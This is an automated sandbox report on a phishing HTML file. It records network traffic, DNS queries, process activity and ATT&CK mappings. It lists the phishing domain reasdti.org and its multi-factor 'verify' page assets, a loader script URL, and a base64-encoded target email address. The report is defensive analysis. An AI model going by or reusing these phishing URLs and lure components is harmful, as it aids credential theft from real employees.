Source: global traffic	HTTP traffic detected: GET /page/images/verify_app.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify_sms.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify_code.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/default.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm

Source: global traffic	DNS traffic detected: DNS query: reasdti.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3411sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63cf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49749 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6896_1274666424

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6896_1274666424

Jump to behavior

Source: classification engine

Classification label: mal72.phis.evad.winHTML@23/67@16/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Paradigm-corp00990__098.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,12235142605793927656,17408399132396075855,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,12235142605793927656,17408399132396075855,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ

HTTP Parser: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://reasdti.org/page/images/info.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/favicon.ico	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/emailphone.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/logo.png	0%	Avira URL Cloud	safe
https://reasdti.org/	0%	Avira URL Cloud	safe
https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/key.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verifnotif2.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_app.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/push.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/default.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/back.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/appnotif2.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/enter.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_sms.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_code.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/sign.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/styles/app.css	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/question.png	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
code.jquery.com	151.101.130.137	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.41.4	true	false	high
reasdti.org	178.128.102.215	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://reasdti.org/page/images/favicon.ico	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/key.png	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/syntaxerror019/HTML-STO/ld.min.js	false		high
https://reasdti.org/page/images/info.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/emailphone.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/	true	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/logo.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/923f643858f642bb/1742580474929/44d75a5c910fe65978e14fa095b662faed2ccbcba571ca39bda2d8c2950e70a5/ENz7gflP3lBXa-I	false		high
https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://reasdti.org/page/images/verifnotif2.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify_app.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://reasdti.org/page/images/default.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/appnotif2.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/push.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923f643858f642bb&lang=auto	false		high
https://reasdti.org/page/images/back.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://reasdti.org/page/images/enter.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ	true		unknown
https://reasdti.org/page/images/verify_sms.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/923f643858f642bb/1742580474937/95BEwmt9hKffisQ	false		high
https://reasdti.org/page/images/sign.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify#	true		unknown
https://reasdti.org/page/images/question.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify_code.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/styles/app.css	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.41.4	www.google.com	United States	15169	GOOGLEUS	false
178.128.102.215	reasdti.org	Netherlands	14061	DIGITALOCEAN-ASNUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1645442
Start date and time:	2025-03-21 19:07:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Paradigm-corp00990__098.html
Detection:	MAL
Classification:	mal72.phis.evad.winHTML@23/67@16/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.64.78, 142.250.80.3, 142.250.65.174, 172.253.122.84, 142.251.41.14, 142.251.40.142, 142.250.80.46, 142.250.65.238, 142.250.80.78, 142.250.65.206, 142.250.80.35, 142.251.40.131, 142.250.80.74, 142.251.40.106, 142.251.40.202, 142.251.40.138, 172.217.165.138, 142.251.40.234, 142.250.64.74, 142.250.176.202, 142.250.65.170, 142.250.80.42, 142.250.80.10, 142.250.72.106, 142.251.40.170, 142.251.41.10, 142.250.65.202, 142.250.80.106, 142.251.40.206, 142.250.176.206, 40.126.24.146, 40.126.24.84, 40.126.24.147, 20.190.152.21, 40.126.24.81, 20.190.152.19, 40.126.24.148, 20.190.152.20, 20.12.23.50, 184.31.69.3, 23.44.203.187
Excluded domains from analysis (whitelisted): clients1.google.com, www.bing.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, clientservices.googleapis.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.94.41	https://is.gd/UFQVAx/	Get hash	malicious	Unknown	Browse
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	Optimum Nationwide - development 2025.pdf	Get hash	malicious	HTMLPhisher	Browse
